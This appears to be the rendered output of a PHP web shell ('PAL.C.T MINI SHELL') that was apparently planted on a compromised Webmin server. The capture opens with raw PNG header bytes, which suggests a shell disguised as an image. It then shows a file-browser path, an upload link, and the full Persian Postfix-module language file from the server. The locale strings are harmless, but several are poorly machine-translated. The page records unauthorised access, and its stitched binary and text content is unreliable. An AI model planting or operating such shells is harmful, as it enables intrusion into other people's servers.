php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/postfix/lang/
upload
files >> //usr/libexec/webmin/postfix/lang/fa.auto

connect_emysql=Failed to load the database driver $1
connect_elogin=Failed to login to the database $1 : $2.
index_title=Postfix Server Mail
index_epath=The Postfix control command $1 is not installed on your system. Maybe your <a href='$2'>module configuration</a> is incorrect, or Postfix is not installed.
index_postfix=پسوند

internal_error=خطای داخلی
index_econfig=The Postfix config command $1 does not exist. Maybe your <a href='$2'>module configuration</a> is incorrect.
index_esuper=The Postfix supervisor command $1 does not exist. Maybe your <a href='$2'>module configuration</a> is incorrect.
index_stop=Postfix را متوقف کنید
index_start=Postfix را شروع کنید
index_reload=پیکربندی مجدد بارگیری مجدد
index_stopmsg=برای متوقف کردن سرویس دهنده پست الکترونیکی Postfix روی این دکمه کلیک کنید. با این کار ارسال نامه از طریق سایر سیستم ها به کاربران محلی متوقف می شود و از ارسال پیام از مشتریانی که از این سیستم به عنوان سرور پست استفاده می کنند جلوگیری می کند.
index_startmsg=برای شروع سرویس دهنده پست الکترونیکی Postfix روی این دکمه کلیک کنید. تا زمان انجام این کار ، نامه از سایر سیستم ها به کاربران محلی تحویل داده نمی شود ، و مشتریانی قادر به استفاده از این سیستم به عنوان سرور پست الکترونیکی نخواهند بود.
index_reloadmsg=روی این دکمه کلیک کنید تا Postfix دوباره پرونده های پیکربندی آن را دوباره بخواند. اگر فایلهای پیکربندی Postfix به صورت دستی تغییر یافته باشند ، می تواند مفید باشد.
index_version=Postfix version $1
opts_err=گزینه ها ذخیره نشدند

check_error=هنگام بررسی پیکربندی Postfix فعلی ، خطایی رخ داد. لطفا پیکربندی Postfix را بصورت دستی اصلاح کنید.
check_manual=پرونده پیکربندی Postfix را به صورت دستی ویرایش کنید.

address_rewriting_title=بازنویسی آدرس و نقاب سازی
address_rewriting_ecannot=شما مجاز به ویرایش بازنویسی آدرس و نقاب درستی نیستید
aliases_title=نام مستعارهای ایمیل
aliases_ecannot=شما مجاز به ویرایش نام های مستعار نیستید
aliases_no_alias_file=پرونده مستعار وجود ندارد
aliases_failed_delete=Failed to delete alias: $1
aliases_cant_write=نمی توانید در پرونده alias بنویسید
aliases_cant_read=در پرونده مستعار خوانده نمی شود
aliasopts_title=گزینه های نامگذاری
aliases_internal_error=نام مستعار: خطای داخلی
edit_alias_title=ویرایش نام مستعار
alias_save=ذخیره نام مستعار
alias_save_err=ذخیره نام مستعار انجام نشد
alias_delete_create=شما می خواهید نام مستعار دیگری را که در حال حاضر ایجاد می کنید حذف کنید !؟
delete_alias=نام مستعار را حذف کنید
aliases_click=برای ویرایش خصوصیات آن بر روی هر نام مستعار کلیک کنید:
aliases_addr=نام مستعار از ..
aliases_to=نام مستعار برای ..
aliases_type1=Address $1
aliases_type2=Addresses in file $1
aliases_type3=File $1
aliases_type4=Program $1
aliases_type5=Autoreply file $1
aliases_type6=Apply filter file $1
aliases_none=هیچ یک
aliases_delete=نام مستعار انتخاب شده را حذف کنید

postfinger_title=بررسی پیکربندی
postfinger_show=نشان دادن
postfinger_ecannot=شما مجاز به بررسی پیکربندی Postfix نیستید

mailclean_title=MailQueue را تمیز کنید
mailclean_ecannot=هیچ مزیتی برای تمیز کردن MailQueues نیست
mailclean_active=صف فعال
mailclean_incoming=صف ورودی
mailclean_deferred=تعویق-صف
mailclean_defer=به تعویق افتادن
mailclean_all=همه صف ها
mailclean_search=جستجو-رشته

aform_type0=هیچ یک
aform_type1=آدرس ایمیل
aform_type2=آدرس های موجود در پرونده
aform_type3=نوشتن برای پرونده
aform_type4=خوراک به برنامه
aform_type5=به طور خودکار از پرونده
aform_type6=پرونده فیلتر را اعمال کنید
aform_edit=ویرایش نام مستعار
aform_create=نام مستعار را ایجاد کنید
aform_name=نشانی
aform_enabled=فعال شده است؟
aform_val=نام مستعار
aform_afile=ویرایش ..
aform_return=نام مستعار
aform_cmt=شرح

asave_err=ذخیره نام مستعار انجام نشد
asave_eaddr='$1' is not a valid address
asave_ealready=An alias for '$1' already exists
asave_etype1='$1' is not a valid email address
asave_etype2=Addresses file '$1' is not valid or does not exist
asave_etype3='$1' is not a valid filename
asave_etype4='$1' is not a valid program or does not exist
asave_etype5=Autoreply file '$1' is not valid
asave_etype4none=هیچ برنامه ای داده نشده
asave_etype6=Filter file '$1' is not valid

afile_title=پرونده آدرس را ویرایش کنید
afile_desc=Use the text area below to edit the addresses in the file $1.
afile_efile=You are not allowed to edit $1.
afile_undo=واگرد تغییر
afile_ewrite=Failed to write to addresses file : $1

ffile_title=پرونده فیلتر را ویرایش کنید
ffile_desc=Use the form below to setup filter rules in the file $1.
ffile_efile=You are not allowed to edit $1.
ffile_line=If the $1 field $2 $3 then forward to $4
ffile_from=از جانب
ffile_to=به
ffile_subject=موضوع
ffile_cc=CC
ffile_body=بدن
ffile_what0=مطابقت ندارد
ffile_what1=مسابقات
ffile_other=Otherwise forward to $1
ffile_err=ذخیره فیلتر فیلتر انجام نشد
ffile_ematch=مسابقه وجود ندارد
ffile_eaction=آدرس حمل و نقل وجود ندارد

rfile_title=File Autoreply File را ویرایش کنید
rfile_desc=Use the text area below to edit the autoreply message in $1. The message may contain the macros $SUBJECT, $FROM, $TO, $DATE and $BODY which will be expanded when the autoreply is activated.
rfile_desc2=You can also set mail headers that add to or replace the defaults used in the autoreply by putting lines like:<br><tt>From: foo@bar.com</tt><br><tt>Subject: On holiday</tt><br>at the top of the message, separated from the body by a single blank line.
rfile_efile=You are not allowed to edit $1.
rfile_undo=واگرد تغییر
rfile_replies=پاسخ ها را برای جلوگیری از حلقه های نامه دنبال می کنید؟
rfile_none=نه
rfile_file=بله ، با استفاده از پرونده log
rfile_period=حداقل فاصله بین پاسخ ها
rfile_default=پیش فرض (1 ساعت)
rfile_secs=ثانیه
rfile_ereplies=پاسخی برای پرونده پرونده ردیابی وجود ندارد
rfile_eperiod=تعداد ثانیه از نامشخص یا نامعتبر است
rfile_no_autoreply=autoreplies را ارسال نکنید
rfile_from=از: آدرس برای پاسخ
rfile_auto=خودکار (بر اساس آدرس گیرنده)
rfile_efrom=گمشده از: آدرس
rfile_fromdesc=آدرس از: باید همیشه در صورت امکان مشخص شود زیرا ممکن است روش اتوماتیک قابل اعتماد نباشد.

general_title=گزینه های عمومی
general_title_sensible=گزینه های مفید عمومی
general_title_others=سایر گزینه های عمومی
general_ecannot=شما مجاز به ویرایش گزینه های عمومی نیستید
what_is_it=چیست؟

opts_default=پیش فرض
opts_none=هیچ یک
opts_nomap=نقشه تنظیم نشده است
opts_setmap=مشخصات نقشه
opts_relayhost=ارسال نامه های ارسال شده از طریق میزبان
opts_direct=تحویل مستقیم
opts_myorigin=از چه دامنه ای برای استفاده از طریق نامه های برون مرزی استفاده کنید
opts_myorigin_as_myhostname=از نام میزبان استفاده کنید
opts_myorigin_as_mydomain=از نام دامنه استفاده کنید
opts_mydestination=چه دامنه هایی برای دریافت ایمیل
opts_mydestination_default=دستگاه محلی
opts_mydestination_domainwide=دامنه کل
opts_notify_classes=چه مشکلی برای گزارش دادن به مدیر پست وجود دارد
opts_notify_classes_sel=در زیر انتخاب شد
opts_queue_directory=دایرکتوری صف ایمیل
opts_mail_owner=صاحب نامه
opts_default_privs=حقوق پیش فرض نماینده تحویل
opts_inet_interfaces=رابط های شبکه برای دریافت نامه
opts_all_interfaces=همه

opts_local_recipient_maps=کاربران محلی ناشناس را رد کنید
opts_no=نه
opts_save=ذخیره و اعمال شود
opts_edir=You are only allowed to specify map files under $1

opts_allow_percent_hack=بازنویسی "domain٪user" به "domain@user"
opts_append_at_myorigin=بازنویسی "کاربر" به "user@$mydomain"
opts_append_dot_mydomain=بازنویسی "user@host" به "user@host.$mydomain"
opts_empty_address_recipient=ارسال نامه با دریافت کننده خالی به. ..
opt_empty_recip_default=پیش فرض
opts_swap_bangpath=بازنویسی "سایت! کاربر" به "user @ site"
opts_masquerade_domains=خطاب به آدرس
opts_masquerade_exceptions=ماسک استثنائات
index_return=پیکربندی پسوند

opts_alias_maps=بانکهای اطلاعاتی نام مستعار استفاده شده توسط نماینده محلی
opts_alias_database=بانک اطلاعاتی Alias توسط فرمان "newaliases" ساخته شده است
aliases_warning=Warning: <ul><li>when the first field is not empty, the default Postfix aliases-generation command is used to build up the corresponding databases ; <li>else the Sendmail compatibility command &quot;newaliases&quot; is used, this will use the second field's databases.</ul>

aliases_name=نام
aliases_value=نام مستعار برای. ..

new_alias=یک نام مستعار جدید ایجاد کنید
new_aliasmsg=برای ایجاد یک نام مستعار جدید روی این دکمه کلیک کنید

local_delivery_ecannot=شما مجاز به ویرایش گزینه های تحویل محلی نیستید
local_delivery_title=تحویل محلی
opts_local_transport=نام حمل و نقل برای تحویل های محلی
opts_local_transport_local=محلی
opts_local_command_shell=Shell برای استفاده برای ارسال به فرمان خارجی
opts_local_command_shell_direct=هیچ کدام (اجرای مستقیم دستورات)
opts_forward_path=لیست جستجو برای رو به جلو
opts_allow_mail_to_commands=تحویل معتبر پست الکترونیکی به دستورات خارجی
opts_allow_mail_to_files=ارسال نامه معتبر به پرونده های خارجی
opts_home_mailbox=نام خانوادگی نسبی پرونده صندوق پستی کاربر
opts_home_mailbox_default=None (use standard <tt>/var/something</tt>)
opts_luser_relay=آدرس مقصد برای گیرندگان ناشناس
opts_luser_relay_none=هیچکدام (نامه گزاف گویی)
opts_mail_spool_directory=فهرست راهنما
opts_mailbox_command=دستور خارجی برای استفاده به جای تحویل صندوق پستی
opts_mailbox_command_none=هیچ یک
opts_mailbox_transport=حمل و نقل واقعی اختیاری برای استفاده
opts_mailbox_transport_none=هیچ یک
opts_fallback_transport=حمل و نقل اختیاری برای گیرندگان ناشناس
opts_fallback_transport_none=هیچ یک
opts_local_destination_concurrency_limit=حداکثر تعداد تحویل موازی به همان گیرنده محلی
opts_local_destination_recipient_limit=حداکثر تعداد گیرندگان در هر بار ارسال پیام محلی
opts_local_destination_recipient_limit_default=پیش فرض
opts_prepend_delivered_header=Prepend a <tt>Delivered-To:</tt> when...
opts_prepend_delivered_header_default=پیش فرض

resource_title=کنترل منابع عمومی
resource_ecannot=شما مجاز به ویرایش پارامترهای کنترل منابع نیستید
opts_bounce_size_limit=حداکثر اندازه پیام belled
opts_command_time_limit=حداکثر زمان تحویل به دستورات خارجی
opts_default_process_limit=حداکثر تعداد مراحل کودک Postfix
opts_deliver_lock_attempts=حداکثر تلاش می کند قفل پرونده را بدست آورد
opts_deliver_lock_delay=چند ثانیه بین تلاشهای قفل پرونده
opts_duplicate_filter_limit=حداکثر تعداد آدرسهایی که توسط فیلتر تکراری به خاطر دارند
opts_fork_attempts=حداکثر سعی در ایجاد فرآیند دارد
opts_fork_delay=چند ثانیه بین تلاش های چنگال
opts_header_size_limit=حداکثر حافظه مورد استفاده برای پردازش هدرها
opts_line_length_limit=حداکثر حافظه مورد استفاده برای مدیریت خطوط ورودی
opts_mailbox_size_limit=حداکثر اندازه صندوق پستی
opts_message_size_limit=حداکثر اندازه یک پیام
opts_qmgr_message_active_limit=حداکثر تعداد پیام در صف فعال است
opts_qmgr_message_recipient_limit=حداکثر تعداد گیرنده های حافظه
opts_queue_minfree=حداقل فضای خالی در سیستم فایل صف
opts_stale_lock_time=حداکثر زمان پس از آن قفل بیشه آزاد می شود
opts_transport_retry_time=در چند ثانیه بین تلاش برای تماس با MDT شکسته

opts_always_bcc=آدرسی که bcc از هر پیام را دریافت می کند
opts_always_bcc_none=هیچ یک
opts_daemon_timeout=زمان تحویل درخواست ها
opts_default_database_type=نوع پیش فرض پایگاه داده
opts_default_transport=حمل و نقل تحویل پیام پیش فرض
opts_double_bounce_sender=آدرس فرستنده برای گزاف گویی نامه
opts_hash_queue_depth=تعداد سطوح Subdir زیر جهت صف
opts_hash_queue_names=نام صف های مختلف صفحات زیر تقسیم شده است
opts_hopcount_limit=Max number of <tt>Received:</tt> headers
opts_ipc_idle=زمان بیکار شدن پس از قطع ارتباط IPC داخلی
opts_ipc_timeout=مدت زمان I / O در کانالهای داخلی
opts_mail_name=نام سیستم نامه
opts_mail_version=نسخه رسمی سیستم نامه پستی
opts_max_idle=زمان انتظار برای درخواست خدمات بعدی
opts_max_use=درخواست های حداکثر خدمات قبل از خروج رسیدگی می شوند
opts_mydomain=نام دامنه اینترنتی محلی
opts_mydomain_default=پیش فرض (ارائه شده توسط سیستم)
opts_myhostname=نام میزبان اینترنت این سیستم نامه پستی
opts_myhostname_default=پیش فرض (ارائه شده توسط سیستم)
opts_mynetworks=شبکه های محلی
opts_mynetworks_default=پیش فرض (همه شبکه های پیوست)
opts_mynetworks_style=شبکه های محلی خودکار
opts_mynetworks_subnet=همان زیر شبکه IP
opts_mynetworks_class=کلاس شبکه مشابه
opts_mynetworks_host=دستگاه محلی فقط
opts_bounce_notice_recipient=ارسال نامه اعلان پستچی در گزاف گویی به. ..
opts_2bounce_notice_recipient=ارسال اعلان پستچی در 2bounce به. ..
opts_delay_notice_recipient=ارسال اطلاعیه ارسال کننده به تأخیر به. ..
opts_error_notice_recipient=ارسال اعلان پستچی در مورد خطا به. ..
opts_process_id_directory=بستن فایل پرونده ، نسبت به جهت صف
opts_program_directory=برنامه های پشتیبانی پس از فیکس و دایمرها
opts_recipient_delimiter=نامهای افزودنی / نامهای افزودنی آدرس
opts_relocated_maps_default=پیش فرض (غیرفعال)
opts_sun_mailtool_compatibility=قفل پرونده هسته را روی صندوق های پستی غیرفعال کنید
opts_trigger_timeout=حداکثر زمان برای ارسال یک ماشه به یک Daemon
opts_delay_warning_time=ساعت ها قبل از ارسال هشدار برای عدم تحویل
opts_delay_warning_time_default2=پیش فرض پس زمینه
opts_content_filter_default=هیچ یک

smtpd_title=گزینه های سرور SMTP
smtpd_ecannot=شما مجاز به ویرایش گزینه های سرور SMTP نیست
opts_disable_vrfy_command=دستور SMTP VRFY را غیرفعال کنید
opts_smtpd_banner=بنر تبریک SMTP
opts_smtpd_etrn_restrictions=دستور ETRN را محدود کنید. ..
opts_smtpd_recipient_limit=حداکثر تعداد گیرندگان پذیرفته شده برای تحویل
opts_smtpd_timeout=در معاملات ثانیه برای معاملات SMTP
opts_smtpd_error_sleep_time=زمان پایان قبل از ارسال پاسخ خطای 4xx / 5xx
opts_smtpd_soft_error_limit=شمارش خطا برای نادیده گرفتن موقت مشتری
opts_smtpd_hard_error_limit=خطا برای بستن اتصال حساب شد
opts_smtpd_client_restrictions=محدودیت در نام ها و آدرسهای نام مشتری
opts_smtpd_helo_required=HELO لازم است
opts_smtpd_helo_restrictions=محدودیت در ارسال در دستورات HELO
opts_smtpd_sender_restrictions=محدودیت در آدرس های فرستنده
opts_smtpd_recipient_restrictions=محدودیت در آدرس گیرنده
opts_allow_untrusted_routing=مسیریابی غیرقابل اعتماد را مجاز کنید
opts_maps_rbl_domains=دامنه DNS برای جستجوی لیست سیاه
opts_relay_domains=انتقال رله را محدود کنید
opts_relay_recipient_maps=نقشه های آدرس های مجاز برای رله
opts_access_map_reject_code=پاسخ سرور SMTP در مورد نقض نقشه دسترسی
opts_invalid_hostname_reject_code=پاسخ سرور SMTP در رد نام نامعتبر میزبان
opts_maps_rbl_reject_code=پاسخ سرور SMTP در مورد نقض دامنه RBL
opts_reject_code=پاسخ سرور SMTP در رد مشتری
opts_relay_domains_reject_code=پاسخ سرور SMTP در مورد رله ممنوع
opts_unknown_address_reject_code=پاسخ سرور SMTP در رد دامنه ناشناخته
opts_unknown_client_reject_code=پاسخ سرور SMTP در رد مشتری ناشناس
opts_unknown_hostname_reject_code=پاسخ سرور SMTP روی نام میزبان ناشناخته را رد کنید
smtpd_nomap=هنوز نقشه ای برای آدرس های مجاز برای انتقال مجدد وارد نشده است.
smtpd_nomap2=هنوز هیچ نقشه ای برای محدودیت در آدرس های فرستنده وارد نشده است.
smtpd_map=آدرس های مجاز برای انتقال
smtpd_map2=محدودیت در آدرس های فرستنده

smtp_title=گزینه های مشتری SMTP
smtp_ecannot=شما مجاز به ویرایش گزینه های مشتری SMTP نیستید
opts_best_mx_transport=اقدام هنگام لیست به عنوان بهترین میزبان MX
opts_best_mx_transport_default=پیش فرض (جستجوی پیام)
opts_fallback_relay=میزبان / دامنه برای تحویل نامه به مقصد نامعتبر است
opts_ignore_mx_lookup_error=خطای جستجوی MX را نادیده بگیرید
opts_smtp_skip_4xx_greeting=پرش به تبریک 4xx
opts_smtp_skip_quit_response=منتظر دستور QUIT باشید
opts_smtp_destination_concurrency_limit=حداکثر تعداد تحویل های موازی به همان مقصد
opts_smtp_destination_recipient_limit=حداکثر تعداد گیرندگان در هر تحویل
opts_smtp_connect_timeout=زمان اتمام اتصالات TCP
opts_smtp_helo_timeout=زمان انتظار برای بنر سلام
opts_smtp_mail_timeout=زمان انتظار برای پاسخ به MAIL FROM
opts_smtp_rcpt_timeout=زمان انتظار برای پاسخ به RCPT TO
opts_smtp_data_init_timeout=زمان انتظار برای پاسخ به DATA
opts_smtp_data_xfer_timeout=زمان منتظر جواب برای ارسال محتوای پیام
opts_smtp_data_done_timeout=اتمام زمان انتظار برای پاسخ به پایان "".
opts_smtp_quit_timeout=زمان انتظار برای پاسخ به QUIT
opts_smtp_use_tls=برای اتصالات SMTP از TLS استفاده کنید
opts_smtp_sasl_security_options=گزینه های امنیتی SASL
opts_smtp_tls_security_level=سطح امنیت کلاینت SMTP TLS

rate_title=نرخ تحویل
rate_ecannot=شما مجاز به ویرایش گزینه های نرخ تحویل نیستید
opts_default_destination_concurrency_limit=حداکثر تعداد تحویل های موازی به همان مقصد
opts_default_destination_recipient_limit=حداکثر تعداد گیرنده در هر ارسال پیام
opts_initial_destination_concurrency=سطح هم زمان اولیه برای تحویل به همان مقصد
opts_maximal_backoff_time=حداکثر زمان (ثانیه) بین تلاش برای ارسال پیام معوق
opts_maximal_queue_lifetime=حداکثر زمان (روزها) در صف قبل از پیام قابل قبول نیست
opts_minimal_backoff_time=حداقل زمان (ثانیه) بین تلاش برای ارسال پیام معوق
opts_queue_run_delay=زمان (ثانیه) بین اسکن صف معوق
opts_defer_transports=حمل و نقل که نباید تحویل داده شود

debug_title=ویژگی های اشکال زدایی
debug_ecannot=شما مجاز به ویرایش ویژگی های اشکال زدایی نیستید
opts_debug_peer_list=لیست الگوهای دامنه / شبکه ای که برای آن ورود به سیستم فعال است
opts_debug_peer_level=هنگام مطابقت با لیست بالا ، سطح ورود به سیستم را علامت بزنید
debug_version=Postfix Module for Webmin - Version $1
opts_edebug=سطح ورود به سیستم یا عدم اعتبار نامشخص است - باید عددی بزرگتر از صفر باشد

ldap_title=جستجوی LDAP
ldap_ecannot=شما مجاز به ویرایش گزینه های جستجوی LDAP نیستید
ldap_non_existent=به نظر می رسد که LDAP در سیستم Postfix شما وجود ندارد
opts_ldap_lookup_timeout=پایان یافتن برای جستجوی پایگاه داده LDAP
opts_ldap_search_base=پایگاه داده LDAP برای جستجو
opts_ldap_server_host=نام میزبان سرور LDAP

canonical_title=نقشه برداری متعارف
canonical_ecannot=شما مجاز به ویرایش پیکربندی نقشه برداری متعارف نیستید
opts_canonical_maps=جداول جستجوی نقشه برداری آدرس
opts_recipient_canonical_maps=جداول آدرسهای گیرنده
opts_sender_canonical_maps=جداول آدرس های فرستنده
edit_canonical_maps=نقشه های کانونی را ویرایش کنید
edit_recipient_canonical_maps=نقشه های Canonical گیرنده را ویرایش کنید
edit_sender_canonical_maps=نقشه های Canonical Sender را ویرایش کنید
edit_canonical_maps_general=برای ویرایش نقشه های متعارف روی یکی از این دکمه ها کلیک کنید ..
canonical_edit_title=نقشه کانونی را ویرایش کنید
canonical_return_sender=نقشه های متعارف فرستنده
canonical_return_recipient=نقشه های متعارف گیرنده
canonical_return=نقشه های متعارف

mapping_name=نام
mapping_value=نقشه ها به. ..
mapping_delete=انتخاب شده را پاک کن
mapping_cmt=شرح
mapping_ecannot=You are only allowed to edit maps under $1
new_mapping=یک نقشه برداری جدید اضافه کنید.
new_mappingmsg=برای ایجاد نقشه‌برداری جدید روی این دکمه کلیک کنید
new_manual=نقشه را به صورت دستی ویرایش کنید
new_manualmsg=برای ویرایش دستی پرونده هایی که از این نقشه ساخته شده است ، روی این دکمه کلیک کنید.
map_save=نقشه برداری را ذخیره کنید
delete_map=نقشه برداری را حذف کنید
edit_map_title=ویرایش نقشه
map_save_err=خطا هنگام ذخیره نقشه برداری
mapps_no_map_file=هیچ پرونده نقشه ای تعریف نشده است
map_delete_failed=Failed to delete map: $1
map_delete_create=نمی توانید نقشه ای را که ایجاد می کنید حذف کنید
maps_internal_error=نقشه: خطای داخلی
maps_cant_write=نمی تواند بنویسد
help_map_format=از چه فرمی باید استفاده کنم؟
map_noname=نام نقشه ناموجود یا نامعتبر است
map_cannot=This map cannot be edited : $1
map_unknown=Webmin does not support the map type $1
mapping_none=هنوز نقشه‌ای از این نوع تعریف نشده است.
mapping_toomany=There are $1 map entries, which is above the display limit of $2.
mapping_find=نمایش تطبیق نگاشت ها:
mapping_search=جستجو کردن
mapping_match=Map file entries matching <tt>$1</tt> ..

virtual_title=دامنه های مجازی
virtual_ecannot=شما مجاز به ویرایش پیکربندی نقشه برداری دامنه های مجازی نیستید
opts_virtual_maps=جداول جستجوی نقشه برداری دامنه
opts_virtual_alias_maps=جداول جستجوی نقشه برداری دامنه
opts_virtual_alias_domains=دامنه هایی برای انجام نقشه برداری مجازی برای
virtual_same=از جداول نقشه برداری دامنه
virtual_return=دامنه های مجازی

transport_title=نقشه برداری حمل و نقل
transport_ecannot=شما مجاز به ویرایش پیکربندی نقشه برداری حمل و نقل نیست
opts_transport_maps=جداول جستجوی نقشه برداری حمل و نقل
transport_return=نقشه حمل و نقل

sni_title=نقشه برداری گواهی
sni_ecannot=شما مجاز به ویرایش پیکربندی نقشه برداری گواهی نیستید
opts_sni_maps=جداول جستجوی نقشه برداری گواهی
sni_return=نقشه های گواهی
sni_dom=نام میزبان
sni_certs=پرونده های گواهی

relocated_title=نقشه برداری جابجا شده
relocated_ecannot=شما مجاز به ویرایش پیکربندی نقشه برداری مجدد نیستید
relocated_return=نقشه های جابجایی شده
opts_relocated_maps=جداول جستجوی نقشه برداری مجدد
opts_content_filter=فیلتر محتوای ایمیل

map_click=برای ویرایش خصوصیات آن روی هر نقشه برداری کلیک کنید:
no_map=(در حال حاضر هیچ نقشه مشخص نشده است. ابتدا یک نقشه را تعیین کنید ، سپس می توانید آن را ویرایش کنید)
no_map2=در حال حاضر هیچ نقشه مشخص نشده است. ابتدا یک نقشه تعریف کنید ، سپس می توانید آنرا ویرایش کنید.

stop_efailed=متوقف نشد
stop_ecannot=شما مجاز نیستید Postfix را متوقف کنید

start_efailed=Postfix شروع نشد
start_ecannot=شما مجاز به شروع Postfix نیستید

reload_efailed=بارگیری مجدد Postfix انجام نشد
reload_ecannot=شما مجاز به بارگیری مجدد Postfix نیست

query_get_efailed=Failed to query Postfix config command to get the current value of parameter $1: <tt>$2</tt>
query_set_efailed=Failed to query Postfix config command to set the current value of parameter $1 to $2: <tt>$3</tt>
regenerate_ecannot=شما مجاز به تولید مثل Aliases نیستید
regenerate_alias_efailed=Failed to regenerate aliases: <tt>$1</tt>
regenerate_table_efailed=Failed to regenerate table $1: <tt>$2</tt>

acl_resource=آیا می توانید منابع را ویرایش کنید؟
acl_aliases=آیا می توانید مستعارها را ویرایش کنید؟
acl_aliases_options=آیا می توانید گزینه های مستعار را ویرایش کنید؟
acl_general=آیا می توانید گزینه های کلی را ویرایش کنید؟
acl_address_rewriting=می توانید بازنویسی آدرس را ویرایش کنید؟
acl_canonical=آیا می توان کانونی را ویرایش کرد؟
acl_virtual=آیا می توانید مجازی ویرایش کنید؟
acl_transport=آیا می توانید حمل و نقل را ویرایش کنید؟
acl_sni=آیا می توان گواهی ها را ویرایش کرد؟
acl_relocated=آیا می توانید نقل مکان کرد؟
acl_header=آیا می توانید چک های هدر را ویرایش کنید؟
acl_local_delivery=آیا می توانید تحویل محلی را ویرایش کنید؟
acl_smtpd=آیا می توانید smtpd را ویرایش کنید؟
acl_sasl=آیا می توانید تأیید اعتبار SMTP را ویرایش کنید؟
acl_client=آیا می توانید محدودیت های مشتری SMTP را ویرایش کنید؟
acl_smtp=آیا می توانید smtp را ویرایش کنید؟
acl_rate=می توانید نرخ را ویرایش کنید؟
acl_debug=می توانید اشکال زدایی را ویرایش کنید؟
acl_ldap=آیا می توان ldap را ویرایش کرد؟
acl_master=آیا می توانید فرایندهای سرور را ویرایش کنید؟
acl_startstop=آیا می توان پس از پایان کار را شروع و متوقف کرد؟
acl_mailq=آیا می توانید صف نامه را مدیریت کنید؟
acl_boxes=آیا می توانید ایمیل کاربران را بخوانید؟
acl_postfinger=آیا می توانید پیکربندی postfix را بررسی کنید؟
acl_manual=آیا می توانید پرونده پیکربندی را ویرایش کنید؟
acl_dir=فهرست مجاز برای پرونده های نقشه
acl_bcc=آیا می توانید نقشه برداری BCC را ویرایش کنید؟

boxes_title=صندوق های پستی کاربر
boxes_user=کاربر
boxes_size=اندازه صندوق پستی
boxes_none=نامه ای نیست
boxes_return=صندوق های پستی
boxes_sent=نامه ارسال شده
boxes_ecannot=شما مجاز به خواندن ایمیل نیستید
boxes_toomany=کاربران زیادی در سیستم شما برای لیست کردن صندوق های پستی آنها وجود دارد.
boxes_go=مشاهده نامه برای کاربر:

mail_title=ایمیل کاربر
mail_from=از جانب
mail_date=تاریخ
mail_subject=موضوع
mail_to=به
mail_cc=سی سی
mail_bcc=بی سی سی
mail_pri=اولویت
mail_highest=مرتفع ترین
mail_high=بالا
mail_normal=معمولی
mail_low=کم
mail_lowest=پایین ترین
mail_for=In $1
mail_for2=For user $1
mail_sent=در لیست نامه ارسال شده
mail_size=اندازه
mail_delete=حذف
mail_compose=ساختن
mail_return=صندوق پستی کاربر
mail_pos=Messages $1 to $2 of $3
mail_none=این صندوق پستی هیچ پیامی ندارد
mail_ecannot=شما مجاز به خواندن ایمیل این کاربر نیستید
mail_all=انتخاب همه
mail_invert=انتخاب معکوس
mail_search=پیام ها را در کجا پیدا کنید
mail_body=بدن
mail_match=مسابقات
mail_ok=جستجو کردن
mail_nonefrom=هیچ یک
mail_mark=علامت گذاری به عنوان:
mail_mark0=خوانده نشده
mail_mark1=خواندن
mail_mark2=ویژه
mail_forward=رو به جلو
mail_rfc=از خط
mail_move=انتقال به:
mail_eexists=پیام دیگر وجود ندارد!

view_title=ایمیل را بخوانید
view_desc=Message $1 in $2
view_desc2=Message $1 for user $2
view_desc3=Message $1
view_sent=Message $1 in sent mail list
view_qdesc=Queued message $1
view_headers=هدرهای ایمیل
view_allheaders=مشاهده همه هدرها
view_noheaders=عناوین اصلی را مشاهده کنید
view_attach=پیوست ها
view_reply=پاسخ
view_reply2=پاسخ به همه
view_enew=ویرایش به عنوان جدید
view_forward=رو به جلو
view_delete=حذف
view_flush=خیط و پیت کردن
view_strip=پیوست ها را حذف کنید
view_ecannot=شما مجاز به خواندن ایمیل این کاربر نیستید
view_mark=علامت گذاری پیام به عنوان:
view_mark0=خوانده نشده
view_mark1=خواندن
view_mark2=ویژه
view_return=ایمیل اصلی
view_sub=ایمیل پیوست شده
view_body=متن پیام
view_afile=نام پیوست
view_atype=نوع پیوست
view_aname=پیوست
view_asize=حجم فایل

compose_title=نوشتن ایمیل
reply_title=پاسخ به ایمیل
forward_title=ارسال ایمیل
enew_title=ویرایش ایمیل
reply_headers=هدرهای ایمیل
reply_attach=پیوست های ارسال شده
reply_mailforward=پیام های ارسال شده
reply_attach2=پیوست های مشتری و سرور
reply_send=ارسال ایمیل
reply_ecannot=شما مجاز به ارسال نامه به عنوان این کاربر نیستید

send_err=ارسال نامه انجام نشد
send_eto=برای آدرس دهی وجود ندارد
send_efrom=آدرس موجود نیست
send_title=پیام فرستاده شد
send_ok=Mail sent successfully to $1
send_ecannot=شما مجاز به ارسال نامه به عنوان این کاربر نیستید
send_esmtp=SMTP command $1 failed : $2
send_efile=Attached file $1 does not exist
send_eattach=Attachments cannot total more that $1 kB in size.
send_eperms=User $1 cannot read $2
send_eperms2=You are not allowed to send file $1
send_epath=Sendmail executable $1 does not exist.
send_ewrapper=برنامه رابط کاربری ارسال پست الکترونیکی وجود ندارد

search_title=نتایج جستجو
search_ecannot=شما مجاز به جستجوی ایمیل این کاربر نیستید
search_ematch=شما باید متن را وارد کنید تا با آن مطابقت داشته باشید.
search_efield=شما باید یک نوع جستجو را انتخاب کنید.
search_none=پیامی یافت نشد
search_results2=$1 mail messages matching $2 ..
search_results3=$1 mail messages not matching $2 ..

match_from=از: مسابقات
match_subject=موضوع: مسابقات
match_to=به: مسابقات
match_cc=سی سی: مسابقات
match_date=تاریخ: مسابقات
match_body=مسابقات بدن
match_size=اندازه بیشتر از
match_headers=هدرها مطابقت دارند
match_=-----------------
match_!from=از: مطابقت ندارد
match_!subject=موضوع: مطابقت ندارد
match_!to=به: مطابقت ندارد
match_!cc=سی سی: مطابقت ندارد
match_!date=تاریخ: مطابقت ندارد
match_!body=بدن مطابقت ندارد
match_!size=اندازه کمتر از
match_!headers=هدرها مطابقت ندارند

mailq_title=صف نامه
mailq_count=$1 messages
mailq_none=هیچ پیام پستی در حال حاضر برای تحویل صف نشده است
mailq_id=شناسه نامه
mailq_date=ارسال شد
mailq_from=از جانب
mailq_to=به
mailq_cc=سی سی
mailq_subject=موضوع
mailq_return=صف نامه
